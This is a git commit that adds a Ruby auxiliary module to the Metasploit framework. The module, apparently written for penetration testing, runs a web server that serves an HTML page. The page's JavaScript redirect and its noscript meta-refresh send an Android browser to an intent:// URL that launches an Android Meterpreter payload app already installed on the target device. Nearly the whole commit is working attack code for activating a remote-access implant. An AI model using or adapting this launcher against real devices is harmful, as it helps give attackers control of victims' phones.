Add aux module to be able to open android meterpreter from a browser

2015-08-27 14:36:55 -05:00 · 2015-08-27 14:36:55 -05:00 · e82bd10817
parent cdd1c6381c
commit e82bd10817
1 changed files with 53 additions and 0 deletions
--- a/modules/auxiliary/server/android_browsable_msf_launch.rb
+++ b/modules/auxiliary/server/android_browsable_msf_launch.rb
@ -0,0 +1,53 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Android Meterpreter Browsable Launcher",
+      'Description'    => %q{
+        This module allows you to open an android meterpreter via a browser. An Android
+        meterpreter must be installed as an application beforehand on the target device
+        in order to use this.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'sinn3r' ],
+      'References'     =>
+        [
+          [ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ]
+        ]
+    ))
+  end
+
+  def run
+    exploit
+  end
+
+  def html
+%Q|
+<html>
+<body>
+<script>
+location.href = "intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end";
+</script>
+<noscript>
+<meta http-equiv="refresh" content="1; url=intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end">
+</noscript>
+</body>
+</html>
+|
+  end
+
+  def on_request_uri(cli, request)
+    print_status("Sending HTML...")
+    send_response(cli, html)
+  end
+
+end